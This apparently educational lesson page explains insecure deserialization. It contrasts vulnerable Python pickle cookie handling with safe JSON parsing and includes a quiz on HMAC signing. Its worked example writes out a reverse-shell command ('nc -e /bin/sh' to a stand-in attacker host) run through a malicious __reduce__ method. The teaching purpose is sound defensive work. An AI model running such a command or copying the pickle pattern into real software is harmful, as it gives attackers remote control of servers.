Insecure Deserialization

When reading data turns into running code.

The idea

Serialization is the process of converting an in-memory object (like a User profile) into a flat string of bytes so it can be saved to a file or sent over a network. Deserialization is the reverse: taking bytes and turning them back into a live object.

The danger is that some serialization formats (like Python's `pickle`, Java Serialization, or PHP `unserialize`) don't just store data; they store instructions on how to rebuild the object, including which functions to run when the object is instantiated. If an attacker tampers with the serialized string, they can force the server to execute malicious commands during the rebuilding process.

Step 1: Normal serialization. A User object is converted to a base64 string for a cookie.

How it works (Use Safe Formats)

To prevent this, you should entirely avoid formats that allow arbitrary object reconstruction. Stick to data-only formats like JSON or Protocol Buffers, which only store strings, numbers, and booleans.

# VULNERABLE: Python's Pickle
import pickle
import base64

@app.route("/profile")
def profile():
    cookie = request.cookies.get('user_obj')
    # DANGER: pickle.loads() will execute arbitrary __reduce__ methods!
    user = pickle.loads(base64.b64decode(cookie))
    return f"Welcome {user.name}"

# SECURE: Data-only formats (JSON)
import json
import base64

@app.route("/profile")
def profile():
    cookie = request.cookies.get('user_obj')
    # Safe: JSON only parses basic data types. It cannot execute methods.
    user = json.loads(base64.b64decode(cookie))
    return f"Welcome {user['name']}"

Watch out for

Worked example

A multiplayer game server stores the player's current weapon and health in a saved state file using Python's `pickle`. A player modifies their save file, replacing the `Weapon` object with a custom class that overrides the `__reduce__` method to execute `os.system("nc -e /bin/sh hacker.com 4444")`. When the server loads the save file, `pickle.loads()` reconstructs the malicious object, immediately executing the shell command and giving the hacker a reverse shell into the game server.

Check yourself

If you absolutely must use an unsafe serialization format like Java Serialization or Python Pickle to send data between two of your own microservices, what is the best way to secure it?

Incorrect. Encryption prevents *reading*, but it doesn't prevent *tampering* if the attacker can guess or manipulate the ciphertext, nor does it guarantee the data came from a trusted source. (Though Authenticated Encryption like AES-GCM would work, there's a more direct answer).
Correct! By verifying a cryptographic signature (HMAC) *before* deserialization, you ensure the payload was created by your own service and has not been tampered with.